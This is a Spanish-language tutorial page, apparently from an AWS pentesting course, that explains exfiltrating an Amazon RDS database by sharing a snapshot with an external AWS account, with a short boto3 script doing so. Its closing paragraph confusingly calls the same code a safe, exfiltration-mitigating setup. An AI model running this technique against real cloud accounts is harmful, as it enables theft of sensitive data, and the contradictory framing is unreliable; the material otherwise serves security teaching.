Exfiltracion de un RDS por medio de un snapshot

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este contenido se adentra en una técnica avanzada de post-explotación, crucial para entender cómo maximizar el impacto de un ataque una vez que se ha conseguido penetrar en un sistema. Es importante recalcar que la ejecución de esta técnica presupone que el atacante o consultor ya ha obtenido ciertos niveles de privilegios dentro de la infraestructura objetivo. Sin estos privilegios, llevar a cabo el ataque explicado aquí no sería posible. Proceder con cautela y siempre dentro del marco legal y ético es fundamental.

La exfiltración de un snapshot de Amazon RDS mediante su compartición implica otorgar acceso a una copia de seguridad de la base de datos a una cuenta externa de AWS. Al compartir el snapshot, la cuenta receptora obtiene la capacidad de restaurarlo, accediendo así a los datos contenidos en la base de datos. Este proceso, si no se maneja adecuadamente, puede representar un vector de ataque que permita a actores no autorizados acceder a información sensible.

import boto3

# Crear un cliente de RDS
rds_client = boto3.client('rds')

# Definir el identificador del snapshot
snapshot_identifier = 'my-db-snapshot'

# Definir el ID de la cuenta AWS con la que compartir
account_id = '012345678901'

# Compartir el snapshot de RDS con la cuenta AWS externa de manera segura
rds_client.modify_db_snapshot_attribute(
    DBSnapshotIdentifier=snapshot_identifier,
    AttributeName='restore',
    ValuesToAdd=[account_id]
)

Asegúrate de reemplazar 'my-db-snapshot' por el identificador real de tu snapshot y '012345678901' por el ID de la cuenta AWS con la que deseas compartir el snapshot. Este código se asegura de que el snapshot solo sea compartido con la cuenta especificada, mitigando el riesgo de exfiltración de datos por actores no autorizados.

Última actualización